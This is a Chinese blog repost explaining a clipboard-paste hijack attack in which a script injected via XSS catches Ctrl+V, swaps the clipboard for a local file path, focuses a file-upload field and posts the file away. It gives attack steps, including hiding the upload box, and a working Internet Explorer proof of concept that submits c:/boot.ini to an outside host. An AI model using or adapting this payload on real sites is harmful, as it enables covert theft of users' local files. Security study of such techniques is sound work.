博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
Javascript Paste Keyboard Shortcuts Hijack
阅读量:2433 次
发布时间:2019-05-10

本文共 1012 字,大约阅读时间需要 3 分钟。

author : kj021320

team : I.S.T.O

这样的攻击手段也算是极其无耻 猥琐之极! 所以防御措施一定要做好

      首先说一下通过Javascript Paste Keyboard Shortcuts Hijack能做什么???能够读取你本地机器任何文件! 没错!也就是说 你中了任何一个XSS 加上你按了粘贴快捷键后,你就有可能被别人读取你机上任何的文件!

那到底是什么回事呢? OK 我慢慢来说

首先 我们知道JS是无权限获读取你本地任何文件的... 那么我们必须要让用户上传自己的文件!

怎么让用户上传呢? 很简单! 通过 <input  type=file > 这样就能让用户上传文件了!

现在又一个问题是, input 为file的时候  value的值 不能用代码set进去!必须要让用户自己填写! 必须要通过人机交互!

其实说到这里!聪明的你大致也应该明白怎么回事! 接着说! 用户不可能把自己的文件填写上去提交给你看的吧?

没错~ 那么 就等待用户 进行快捷键粘贴的时候 哈哈~~说说步骤

1. 判断是否 进行 ctrl + v

2. 替换粘贴板

3. 光标切换到 文件上传

4. 善后工作就交给你了 ( 例如如何把上传textbox透明化,当前页面不会因表单提交而跳转  )

IE 下的 POC :

<HTML>

 <HEAD>
  <TITLE> Javascript Paste Keyboard Shortcuts Hijack </TITLE>
 </HEAD>
<body   οnkeydοwn="temp()">
<input>
<form action="http://www.kj.com" method=post name=s>
<input id=kj_filehijack type=file name=fhijack>
</form>
<script>
function temp()
{
    if(event.ctrlKey){
        if(event.keyCode==86){
            window.clipboardData.setData("text","c:/boot.ini");
            document.getElementById('kj_filehijack').focus();
            document.s.submit();
        }
    }
}
</script>
</BODY>
</HTML>

转载地址:http://ckqmb.baihongyu.com/

你可能感兴趣的文章
jsp与servlet的作用以及区别--为什么说JSP底层就是一个Servlet
查看>>
看HashMap源码前的必备冷知识,白话文式教学,适合刚开始了解源码的新手观看
查看>>
Oracle安装指南
查看>>
Redis面试必备(一)
查看>>
Cookie对象入门详解
查看>>
HashMap的remove()方法详解
查看>>
单例模式-分解步骤,逐步解析
查看>>
通过Form表单一次性拿到json格式数据,及后台接收
查看>>
## EL表达式与JSTL标签用法解读
查看>>
Mybatis异常:The content of elements must consist of well-formed.......(一般出现在写分页/带大于小于号的SQL)
查看>>
Mybatis光速入门(配置文件模块)
查看>>
关于Oracle的主键自增如何设置
查看>>
手撕HashMap的resize()方法源码渗透解析+图解
查看>>
Mybatis常见异常类型Could not set parameters for mapping离不开这个原因!
查看>>
Thymeleaf中一个页面怎么嵌套另一个页面,关于页面嵌套,标签告诉你应该知道的
查看>>
JAVA如何实现短信验证码--阿里云接口,新手式图文教学,个人项目有这一篇就够了
查看>>
Java中大小数BigDecimal的加减乘除用法及场景的详细介绍,看完不信你还会报Syntax error on token “+/-/*“, invalid AssignmentOperat异常
查看>>
UVa 10917 Dijkstra
查看>>
CF403B/CF402D
查看>>
CF402E / 403C
查看>>